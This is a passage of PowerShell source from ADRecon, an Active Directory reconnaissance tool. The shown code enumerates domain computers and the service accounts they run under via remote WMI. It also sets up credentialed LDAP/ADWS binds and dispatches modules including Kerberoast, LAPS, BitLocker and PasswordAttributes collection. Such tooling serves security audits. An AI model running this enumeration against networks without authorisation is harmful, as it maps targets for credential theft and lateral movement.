.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
BEGIN {
$readServiceAccounts = [scriptblock] {
# scriptblock to retrieve service list form a remove machine
$hostname = [string] $args[0]
$OperatingSystem = [string] $args[1]
#$Credential = [Management.Automation.PSCredential] $args[2]
$Credential = $args[2]
$timeout = 250
$port = 135
Try
{
$tcpclient = New-Object System.Net.Sockets.TcpClient
$result = $tcpclient.BeginConnect($hostname,$port,$null,$null)
$success = $result.AsyncWaitHandle.WaitOne($timeout,$null)
}
Catch
{
$warning = "$hostname ($OperatingSystem) is unreachable $($_.Exception.Message)"
$success = $false
$tcpclient.Close()
}
If ($success)
{
# PowerShellv2 does not support New-CimSession
If ($PSVersionTable.PSVersion.Major -ne 2)
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$session = New-CimSession -ComputerName $hostname -SessionOption $(New-CimSessionOption Protocol DCOM) -Credential $Credential
If ($session)
{
$serviceList = @( Get-CimInstance -ClassName Win32_Service -Property Name,StartName,SystemName -CimSession $session -ErrorAction Stop)
}
}
Else
{
$session = New-CimSession -ComputerName $hostname -SessionOption $(New-CimSessionOption Protocol DCOM)
If ($session)
{
$serviceList = @( Get-CimInstance -ClassName Win32_Service -Property Name,StartName,SystemName -CimSession $session -ErrorAction Stop )
}
}
}
Else
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$serviceList = @( Get-WmiObject -Class Win32_Service -ComputerName $hostname -Credential $Credential -Impersonation 3 -Property Name,StartName,SystemName -ErrorAction Stop )
}
Else
{
$serviceList = @( Get-WmiObject -Class Win32_Service -ComputerName $hostname -Property Name,StartName,SystemName -ErrorAction Stop )
}
}
$serviceList
}
Try
{
If ($tcpclient) { $tcpclient.EndConnect($result) | Out-Null }
}
Catch
{
$warning = "$hostname ($OperatingSystem) : $($_.Exception.Message)"
}
$warning
}
Function processCompletedJobs()
{
# reads service list from completed jobs,
# updates $serviceAccount table and removes completed job
$jobs = Get-Job -State Completed
ForEach( $job in $jobs )
{
If ($null -ne $job)
{
$data = Receive-Job $job
Remove-Job $job
}
If ($data)
{
If ( $data.GetType() -eq [Object[]] )
{
$serviceList = $data | Where-Object { if ($_.StartName) { $_ }}
$serviceList | ForEach-Object {
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Account" -Value $_.StartName
$Obj | Add-Member -MemberType NoteProperty -Name "Service Name" -Value $_.Name
$Obj | Add-Member -MemberType NoteProperty -Name "SystemName" -Value $_.SystemName
If ($_.StartName.toUpper().Contains($currentDomain))
{
$Obj | Add-Member -MemberType NoteProperty -Name "Running as Domain User" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Running as Domain User" -Value $false
}
$script:serviceAccounts += $Obj
}
}
ElseIf ( $data.GetType() -eq [String] )
{
$script:warnings += $data
Write-Verbose $data
}
}
}
}
}
PROCESS
{
$script:serviceAccounts = @()
[string[]] $warnings = @()
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDomain = Get-ADDomain
}
Catch
{
Write-Warning "[Get-ADRDomainAccountsusedforServiceLogon] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADDomain)
{
$currentDomain = $ADDomain.NetBIOSName.toUpper()
Remove-Variable ADDomain
}
Else
{
$currentDomain = ""
Write-Warning "Current Domain could not be retrieved."
}
Try
{
$ADComputers = Get-ADComputer -Filter { Enabled -eq $true -and OperatingSystem -Like "*Windows*" } -Properties Name,DNSHostName,OperatingSystem
}
Catch
{
Write-Warning "[Get-ADRDomainAccountsusedforServiceLogon] Error while enumerating Windows Computer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADComputers)
{
# start data retrieval job for each server in the list
# use up to $Threads threads
$cnt = $([ADRecon.ADWSClass]::ObjectCount($ADComputers))
Write-Verbose "[*] Total Windows Hosts: $cnt"
$icnt = 0
$ADComputers | ForEach-Object {
$StopWatch = [System.Diagnostics.StopWatch]::StartNew()
If( $_.dnshostname )
{
$args = @($_.DNSHostName, $_.OperatingSystem, $Credential)
Start-Job -ScriptBlock $readServiceAccounts -Name "read_$($_.name)" -ArgumentList $args | Out-Null
++$icnt
If ($StopWatch.Elapsed.TotalMilliseconds -ge 1000)
{
Write-Progress -Activity "Retrieving data from servers" -Status "$("{0:N2}" -f (($icnt/$cnt*100),2)) % Complete:" -PercentComplete 100
$StopWatch.Reset()
$StopWatch.Start()
}
while ( ( Get-Job -State Running).count -ge $Threads ) { Start-Sleep -Seconds 3 }
processCompletedJobs
}
}
# process remaining jobs
Write-Progress -Activity "Retrieving data from servers" -Status "Waiting for background jobs to complete..." -PercentComplete 100
Wait-Job -State Running -Timeout 30 | Out-Null
Get-Job -State Running | Stop-Job
processCompletedJobs
Write-Progress -Activity "Retrieving data from servers" -Completed -Status "All Done"
}
}
If ($Protocol -eq 'LDAP')
{
$currentDomain = ([string]($objDomain.name)).toUpper()
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(&(samAccountType=805306369)(!userAccountControl:1.2.840.113556.1.4.803:=2)(operatingSystem=*Windows*))"
$ObjSearcher.PropertiesToLoad.AddRange(("name","dnshostname","operatingsystem"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADComputers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRDomainAccountsusedforServiceLogon] Error while enumerating Windows Computer Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADComputers)
{
# start data retrieval job for each server in the list
# use up to $Threads threads
$cnt = $([ADRecon.LDAPClass]::ObjectCount($ADComputers))
Write-Verbose "[*] Total Windows Hosts: $cnt"
$icnt = 0
$ADComputers | ForEach-Object {
If( $_.Properties.dnshostname )
{
$args = @($_.Properties.dnshostname, $_.Properties.operatingsystem, $Credential)
Start-Job -ScriptBlock $readServiceAccounts -Name "read_$($_.Properties.name)" -ArgumentList $args | Out-Null
++$icnt
If ($StopWatch.Elapsed.TotalMilliseconds -ge 1000)
{
Write-Progress -Activity "Retrieving data from servers" -Status "$("{0:N2}" -f (($icnt/$cnt*100),2)) % Complete:" -PercentComplete 100
$StopWatch.Reset()
$StopWatch.Start()
}
while ( ( Get-Job -State Running).count -ge $Threads ) { Start-Sleep -Seconds 3 }
processCompletedJobs
}
}
# process remaining jobs
Write-Progress -Activity "Retrieving data from servers" -Status "Waiting for background jobs to complete..." -PercentComplete 100
Wait-Job -State Running -Timeout 30 | Out-Null
Get-Job -State Running | Stop-Job
processCompletedJobs
Write-Progress -Activity "Retrieving data from servers" -Completed -Status "All Done"
}
}
If ($script:serviceAccounts)
{
Return $script:serviceAccounts
}
Else
{
Return $null
}
}
}
Function Remove-EmptyADROutputDir
{
<#
.SYNOPSIS
Removes ADRecon output folder if empty.
.DESCRIPTION
Removes ADRecon output folder if empty.
.PARAMETER ADROutputDir
[string]
Path for ADRecon output folder.
.PARAMETER OutputType
[array]
Output Type.
#>
param(
[Parameter(Mandatory = $true)]
[string] $ADROutputDir,
[Parameter(Mandatory = $true)]
[array] $OutputType
)
Switch ($OutputType)
{
'CSV'
{
$CSVPath = -join($ADROutputDir,'\','CSV-Files')
If (!(Test-Path -Path $CSVPath\*))
{
Write-Verbose "Removed Empty Directory $CSVPath"
Remove-Item $CSVPath
}
}
'XML'
{
$XMLPath = -join($ADROutputDir,'\','XML-Files')
If (!(Test-Path -Path $XMLPath\*))
{
Write-Verbose "Removed Empty Directory $XMLPath"
Remove-Item $XMLPath
}
}
'JSON'
{
$JSONPath = -join($ADROutputDir,'\','JSON-Files')
If (!(Test-Path -Path $JSONPath\*))
{
Write-Verbose "Removed Empty Directory $JSONPath"
Remove-Item $JSONPath
}
}
'HTML'
{
$HTMLPath = -join($ADROutputDir,'\','HTML-Files')
If (!(Test-Path -Path $HTMLPath\*))
{
Write-Verbose "Removed Empty Directory $HTMLPath"
Remove-Item $HTMLPath
}
}
}
If (!(Test-Path -Path $ADROutputDir\*))
{
Remove-Item $ADROutputDir
Write-Verbose "Removed Empty Directory $ADROutputDir"
}
}
Function Get-ADRAbout
{
<#
.SYNOPSIS
Returns information about ADRecon.
.DESCRIPTION
Returns information about ADRecon.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER date
[DateTime]
Date
.PARAMETER ADReconVersion
[string]
ADRecon Version.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER RanonComputer
[string]
Details of the Computer running ADRecon.
.PARAMETER TotalTime
[string]
TotalTime.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[DateTime] $date,
[Parameter(Mandatory = $true)]
[string] $ADReconVersion,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $true)]
[string] $RanonComputer,
[Parameter(Mandatory = $true)]
[string] $TotalTime
)
$AboutADRecon = @()
If ($Protocol -eq 'ADWS')
{
$Version = "RSAT Version"
}
Else
{
$Version = "LDAP Version"
}
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$Username = $($Credential.UserName)
}
Else
{
$Username = $([Environment]::UserName)
}
$ObjValues = @("Date", $($date), "ADRecon", "https://github.com/sense-of-security/ADRecon", $Version, $($ADReconVersion), "Ran as user", $Username, "Ran on computer", $RanonComputer, "Execution Time (mins)", $($TotalTime))
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Category" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$AboutADRecon += $Obj
}
Return $AboutADRecon
}
Function Invoke-ADRecon
{
<#
.SYNOPSIS
Wrapper function to run ADRecon modules.
.DESCRIPTION
Wrapper function to set variables, check dependencies and run ADRecon modules.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER Collect
[array]
Which modules to run; Forest, Domain, Trusts, Sites, Subnets, PasswordPolicy, FineGrainedPasswordPolicy, DomainControllers, Users, UserSPNs, PasswordAttributes, Groups, GroupMembers, OUs, GPOs, gPLinks, DNSZones, Printers, Computers, ComputerSPNs, LAPS, BitLocker, ACLs, GPOReport, Kerberoast, DomainAccountsusedforServiceLogon.
.PARAMETER DomainController
[string]
IP Address of the Domain Controller.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.PARAMETER OutputDir
[string]
Path for ADRecon output folder to save the CSV files and the ADRecon-Report.xlsx.
.PARAMETER DormantTimeSpan
[int]
Timespan for Dormant accounts. Default 90 days.
.PARAMTER PassMaxAge
[int]
Maximum machine account password age. Default 30 days
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.PARAMETER UseAltCreds
[bool]
Whether to use provided credentials or not.
.OUTPUTS
STDOUT, CSV, XML, JSON, HTML and/or Excel file is created in the folder specified with the information.
#>
param(
[Parameter(Mandatory = $false)]
[string] $GenExcel,
[Parameter(Mandatory = $false)]
[ValidateSet('ADWS', 'LDAP')]
[string] $Protocol = 'ADWS',
[Parameter(Mandatory = $true)]
[array] $Collect,
[Parameter(Mandatory = $false)]
[string] $DomainController = '',
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $true)]
[array] $OutputType,
[Parameter(Mandatory = $false)]
[string] $ADROutputDir,
[Parameter(Mandatory = $false)]
[int] $DormantTimeSpan = 90,
[Parameter(Mandatory = $false)]
[int] $PassMaxAge = 30,
[Parameter(Mandatory = $false)]
[int] $PageSize = 200,
[Parameter(Mandatory = $false)]
[int] $Threads = 10,
[Parameter(Mandatory = $false)]
[bool] $UseAltCreds = $false
)
[string] $ADReconVersion = "v1.1"
Write-Output "[*] ADRecon $ADReconVersion by Prashant Mahajan (@prashant3535)"
If ($GenExcel)
{
If (!(Test-Path $GenExcel))
{
Write-Output "[Invoke-ADRecon] Invalid Path ... Exiting"
Return $null
}
Export-ADRExcel -ExcelPath $GenExcel
Return $null
}
# Suppress verbose output
$SaveVerbosePreference = $script:VerbosePreference
$script:VerbosePreference = 'SilentlyContinue'
Try
{
If ($PSVersionTable.PSVersion.Major -ne 2)
{
$computer = Get-CimInstance -ClassName Win32_ComputerSystem
$computerdomainrole = ($computer).DomainRole
}
Else
{
$computer = Get-WMIObject win32_computersystem
$computerdomainrole = ($computer).DomainRole
}
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
}
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
switch ($computerdomainrole)
{
0
{
[string] $computerrole = "Standalone Workstation"
$Env:ADPS_LoadDefaultDrive = 0
$UseAltCreds = $true
}
1 { [string] $computerrole = "Member Workstation" }
2
{
[string] $computerrole = "Standalone Server"
$UseAltCreds = $true
$Env:ADPS_LoadDefaultDrive = 0
}
3 { [string] $computerrole = "Member Server" }
4 { [string] $computerrole = "Backup Domain Controller" }
5 { [string] $computerrole = "Primary Domain Controller" }
default { Write-Output "Computer Role could not be identified." }
}
$RanonComputer = "$($computer.domain)\$([Environment]::MachineName) - $($computerrole)"
Remove-Variable computer
Remove-Variable computerdomainrole
Remove-Variable computerrole
# If either DomainController or Credentials are provided, treat as non-member
If (($DomainController -ne "") -or ($Credential -ne [Management.Automation.PSCredential]::Empty))
{
# Disable loading of default drive on member
If (($Protocol -eq 'ADWS') -and (-Not $UseAltCreds))
{
$Env:ADPS_LoadDefaultDrive = 0
}
$UseAltCreds = $true
}
# Import ActiveDirectory module
If ($Protocol -eq 'ADWS')
{
Try
{
# Suppress verbose output on module import
$SaveVerbosePreference = $script:VerbosePreference;
$script:VerbosePreference = 'SilentlyContinue';
Import-Module ActiveDirectory -WarningAction Stop -ErrorAction Stop | Out-Null
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
}
Catch
{
Write-Warning "[Invoke-ADRecon] Error importing ActiveDirectory Module from RSAT (Remote Server Administration Tools) ... Continuing with LDAP"
$Protocol = 'LDAP'
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
# Compile C# code
# Suppress Debug output
$SaveDebugPreference = $script:DebugPreference
$script:DebugPreference = 'SilentlyContinue'
Try
{
$Advapi32 = Add-Type -MemberDefinition $Advapi32Def -Name "Advapi32" -Namespace ADRecon -PassThru
$Kernel32 = Add-Type -MemberDefinition $Kernel32Def -Name "Kernel32" -Namespace ADRecon -PassThru
Add-Type -TypeDefinition $PingCastleSMBScannerSource
$CLR = ([System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion)[1]
If ($Protocol -eq 'ADWS')
{
If ($CLR -eq "4")
{
Add-Type -TypeDefinition $ADWSSource -ReferencedAssemblies ([System.String[]]@(([System.Reflection.Assembly]::LoadWithPartialName("Microsoft.ActiveDirectory.Management")).Location,([System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices")).Location))
}
Else
{
Add-Type -TypeDefinition $ADWSSource -ReferencedAssemblies ([System.String[]]@(([System.Reflection.Assembly]::LoadWithPartialName("Microsoft.ActiveDirectory.Management")).Location,([System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices")).Location)) -Language CSharpVersion3
}
}
If ($Protocol -eq 'LDAP')
{
If ($CLR -eq "4")
{
Add-Type -TypeDefinition $LDAPSource -ReferencedAssemblies ([System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices")).Location
}
Else
{
Add-Type -TypeDefinition $LDAPSource -ReferencedAssemblies ([System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices")).Location -Language CSharpVersion3
}
}
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
Return $null
}
If ($SaveDebugPreference)
{
$script:DebugPreference = $SaveDebugPreference
Remove-Variable SaveDebugPreference
}
# Allow running using RUNAS from a non-domain joined machine
# runas /user:<Domain FQDN>\<Username> /netonly powershell.exe
If (($Protocol -eq 'LDAP') -and ($UseAltCreds) -and ($DomainController -eq "") -and ($Credential -eq [Management.Automation.PSCredential]::Empty))
{
Try
{
$objDomain = [ADSI]""
If(!($objDomain.name))
{
Write-Verbose "[Invoke-ADRecon] RUNAS Check, LDAP bind Unsuccessful"
}
$UseAltCreds = $false
$objDomain.Dispose()
}
Catch
{
$UseAltCreds = $true
}
}
If ($UseAltCreds -and (($DomainController -eq "") -or ($Credential -eq [Management.Automation.PSCredential]::Empty)))
{
If (($DomainController -ne "") -and ($Credential -eq [Management.Automation.PSCredential]::Empty))
{
Try
{
$Credential = Get-Credential
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
Return $null
}
}
Else
{
Write-Output "Run Get-Help .\ADRecon.ps1 -Examples for additional information."
Write-Output "[Invoke-ADRecon] Use the -DomainController and -Credential parameter."`n
Return $null
}
}
Write-Output "[*] Running on $RanonComputer"
Switch ($Collect)
{
'Forest' { $ADRForest = $true }
'Domain' {$ADRDomain = $true }
'Trusts' { $ADRTrust = $true }
'Sites' { $ADRSite = $true }
'Subnets' { $ADRSubnet = $true }
'PasswordPolicy' { $ADRPasswordPolicy = $true }
'FineGrainedPasswordPolicy' { $ADRFineGrainedPasswordPolicy = $true }
'DomainControllers' { $ADRDomainControllers = $true }
'Users' { $ADRUsers = $true }
'UserSPNs' { $ADRUserSPNs = $true }
'PasswordAttributes' { $ADRPasswordAttributes = $true }
'Groups' { $ADRGroups = $true }
'GroupMembers' { $ADRGroupMembers = $true }
'OUs' { $ADROUs = $true }
'GPOs' { $ADRGPOs = $true }
'gPLinks' { $ADRgPLinks = $true }
'DNSZones' { $ADRDNSZones = $true }
'Printers' { $ADRPrinters = $true }
'Computers' { $ADRComputers = $true }
'ComputerSPNs' { $ADRComputerSPNs = $true }
'LAPS' { $ADRLAPS = $true }
'BitLocker' { $ADRBitLocker = $true }
'ACLs' { $ADRACLs = $true }
'GPOReport'
{
$ADRGPOReport = $true
$ADRCreate = $true
}
'Kerberoast' { $ADRKerberoast = $true }
'DomainAccountsusedforServiceLogon' { $ADRDomainAccountsusedforServiceLogon = $true }
'Default'
{
$ADRForest = $true
$ADRDomain = $true
$ADRTrust = $true
$ADRSite = $true
$ADRSubnet = $true
$ADRPasswordPolicy = $true
$ADRFineGrainedPasswordPolicy = $true
$ADRDomainControllers = $true
$ADRUsers = $true
$ADRUserSPNs = $true
$ADRPasswordAttributes = $true
$ADRGroups = $true
$ADRGroupMembers = $true
$ADROUs = $true
$ADRGPOs = $true
$ADRgPLinks = $true
$ADRDNSZones = $true
$ADRPrinters = $true
$ADRComputers = $true
$ADRComputerSPNs = $true
$ADRLAPS = $true
$ADRBitLocker = $true
$ADRACLs = $true
$ADRGPOReport = $true
#$ADRKerberoast = $true
#$ADRDomainAccountsusedforServiceLogon = $true
If ($OutputType -eq "Default")
{
[array] $OutputType = "CSV","Excel"
}
}
}
Switch ($OutputType)
{
'STDOUT' { $ADRSTDOUT = $true }
'CSV'
{
$ADRCSV = $true
$ADRCreate = $true
}
'XML'
{
$ADRXML = $true
$ADRCreate = $true
}
'JSON'
{
$ADRJSON = $true
$ADRCreate = $true
}
'HTML'
{
$ADRHTML = $true
$ADRCreate = $true
}
'Excel'
{
$ADRExcel = $true
$ADRCreate = $true
}
'All'
{
#$ADRSTDOUT = $true
$ADRCSV = $true
$ADRXML = $true
$ADRJSON = $true
$ADRHTML = $true
$ADRExcel = $true
$ADRCreate = $true
[array] $OutputType = "CSV","XML","JSON","HTML","Excel"
}
'Default'
{
[array] $OutputType = "STDOUT"
$ADRSTDOUT = $true
}
}
If ( ($ADRExcel) -and (-Not $ADRCSV) )
{
$ADRCSV = $true
[array] $OutputType += "CSV"
}
$returndir = Get-Location
$date = Get-Date
# Create Output dir
If ( ($ADROutputDir) -and ($ADRCreate) )
{
If (!(Test-Path $ADROutputDir))
{
New-Item $ADROutputDir -type directory | Out-Null
If (!(Test-Path $ADROutputDir))
{
Write-Output "[Invoke-ADRecon] Error, invalid OutputDir Path ... Exiting"
Return $null
}
}
$ADROutputDir = $((Convert-Path $ADROutputDir).TrimEnd("\"))
Write-Verbose "[*] Output Directory: $ADROutputDir"
}
ElseIf ($ADRCreate)
{
$ADROutputDir = -join($returndir,'\','ADRecon-Report-',$(Get-Date -UFormat %Y%m%d%H%M%S))
New-Item $ADROutputDir -type directory | Out-Null
If (!(Test-Path $ADROutputDir))
{
Write-Output "[Invoke-ADRecon] Error, could not create output directory"
Return $null
}
$ADROutputDir = $((Convert-Path $ADROutputDir).TrimEnd("\"))
Remove-Variable ADRCreate
}
Else
{
$ADROutputDir = $returndir
}
If ($ADRCSV)
{
$CSVPath = [System.IO.DirectoryInfo] -join($ADROutputDir,'\','CSV-Files')
New-Item $CSVPath -type directory | Out-Null
If (!(Test-Path $CSVPath))
{
Write-Output "[Invoke-ADRecon] Error, could not create output directory"
Return $null
}
Remove-Variable ADRCSV
}
If ($ADRXML)
{
$XMLPath = [System.IO.DirectoryInfo] -join($ADROutputDir,'\','XML-Files')
New-Item $XMLPath -type directory | Out-Null
If (!(Test-Path $XMLPath))
{
Write-Output "[Invoke-ADRecon] Error, could not create output directory"
Return $null
}
Remove-Variable ADRXML
}
If ($ADRJSON)
{
$JSONPath = [System.IO.DirectoryInfo] -join($ADROutputDir,'\','JSON-Files')
New-Item $JSONPath -type directory | Out-Null
If (!(Test-Path $JSONPath))
{
Write-Output "[Invoke-ADRecon] Error, could not create output directory"
Return $null
}
Remove-Variable ADRJSON
}
If ($ADRHTML)
{
$HTMLPath = [System.IO.DirectoryInfo] -join($ADROutputDir,'\','HTML-Files')
New-Item $HTMLPath -type directory | Out-Null
If (!(Test-Path $HTMLPath))
{
Write-Output "[Invoke-ADRecon] Error, could not create output directory"
Return $null
}
Remove-Variable ADRHTML
}
# AD Login
If ($UseAltCreds -and ($Protocol -eq 'ADWS'))
{
If (!(Test-Path ADR:))
{
Try
{
New-PSDrive -PSProvider ActiveDirectory -Name ADR -Root "" -Server $DomainController -Credential $Credential -ErrorAction Stop | Out-Null
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Return $null
}
}
Else
{
Remove-PSDrive ADR
Try
{
New-PSDrive -PSProvider ActiveDirectory -Name ADR -Root "" -Server $DomainController -Credential $Credential -ErrorAction Stop | Out-Null
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Return $null
}
}
Set-Location ADR:
Write-Debug "ADR PSDrive Created"
}
If ($Protocol -eq 'LDAP')
{
If ($UseAltCreds)
{
Try
{
$objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
$objDomainRootDSE = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)/RootDSE", $Credential.UserName,$Credential.GetNetworkCredential().Password
}
Catch
{
Write-Output "[Invoke-ADRecon] $($_.Exception.Message)"
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Return $null
}
If(!($objDomain.name))
{
Write-Output "[Invoke-ADRecon] LDAP bind Unsuccessful"
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Return $null
}
Else
{
Write-Output "[*] LDAP bind Successful"
}
}
Else
{
$objDomain = [ADSI]""
$objDomainRootDSE = ([ADSI] "LDAP://RootDSE")
If(!($objDomain.name))
{
Write-Output "[Invoke-ADRecon] LDAP bind Unsuccessful"
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Return $null
}
}
Write-Debug "LDAP Bing Successful"
}
Write-Output "[*] Commencing - $date"
If ($ADRDomain)
{
Write-Output "[-] Domain"
$ADRObject = Get-ADRDomain -Protocol $Protocol -objDomain $objDomain -objDomainRootDSE $objDomainRootDSE -DomainController $DomainController -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Domain"
Remove-Variable ADRObject
}
Remove-Variable ADRDomain
}
If ($ADRForest)
{
Write-Output "[-] Forest"
$ADRObject = Get-ADRForest -Protocol $Protocol -objDomain $objDomain -objDomainRootDSE $objDomainRootDSE -DomainController $DomainController -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Forest"
Remove-Variable ADRObject
}
Remove-Variable ADRForest
}
If ($ADRTrust)
{
Write-Output "[-] Trusts"
$ADRObject = Get-ADRTrust -Protocol $Protocol -objDomain $objDomain
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Trusts"
Remove-Variable ADRObject
}
Remove-Variable ADRTrust
}
If ($ADRSite)
{
Write-Output "[-] Sites"
$ADRObject = Get-ADRSite -Protocol $Protocol -objDomain $objDomain -objDomainRootDSE $objDomainRootDSE -DomainController $DomainController -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Sites"
Remove-Variable ADRObject
}
Remove-Variable ADRSite
}
If ($ADRSubnet)
{
Write-Output "[-] Subnets"
$ADRObject = Get-ADRSubnet -Protocol $Protocol -objDomain $objDomain -objDomainRootDSE $objDomainRootDSE -DomainController $DomainController -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Subnets"
Remove-Variable ADRObject
}
Remove-Variable ADRSubnet
}
If ($ADRPasswordPolicy)
{
Write-Output "[-] Default Password Policy"
$ADRObject = Get-ADRDefaultPasswordPolicy -Protocol $Protocol -objDomain $objDomain
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "DefaultPasswordPolicy"
Remove-Variable ADRObject
}
Remove-Variable ADRPasswordPolicy
}
If ($ADRFineGrainedPasswordPolicy)
{
Write-Output "[-] Fine Grained Password Policy - May need a Privileged Account"
$ADRObject = Get-ADRFineGrainedPasswordPolicy -Protocol $Protocol -objDomain $objDomain
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "FineGrainedPasswordPolicy"
Remove-Variable ADRObject
}
Remove-Variable ADRFineGrainedPasswordPolicy
}
If ($ADRDomainControllers)
{
Write-Output "[-] Domain Controllers"
$ADRObject = Get-ADRDomainController -Protocol $Protocol -objDomain $objDomain -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "DomainControllers"
Remove-Variable ADRObject
}
Remove-Variable ADRDomainControllers
}
If ($ADRUsers)
{
Write-Output "[-] Users - May take some time"
$ADRObject = Get-ADRUser -Protocol $Protocol -date $date -objDomain $objDomain -DormantTimeSpan $DormantTimeSpan -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Users"
Remove-Variable ADRObject
}
Remove-Variable ADRUsers
}
If ($ADRUserSPNs)
{
Write-Output "[-] User SPNs"
$ADRObject = Get-ADRUserSPN -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "UserSPNs"
Remove-Variable ADRObject
}
Remove-Variable ADRUserSPNs
}
If ($ADRPasswordAttributes)
{
Write-Output "[-] PasswordAttributes - Experimental"
$ADRObject = Get-ADRPasswordAttributes -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "PasswordAttributes"
Remove-Variable ADRObject
}
Remove-Variable ADRPasswordAttributes
}
If ($ADRGroups)
{
Write-Output "[-] Groups - May take some time"
$ADRObject = Get-ADRGroup -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Groups"
Remove-Variable ADRObject
}
Remove-Variable ADRGroups
}
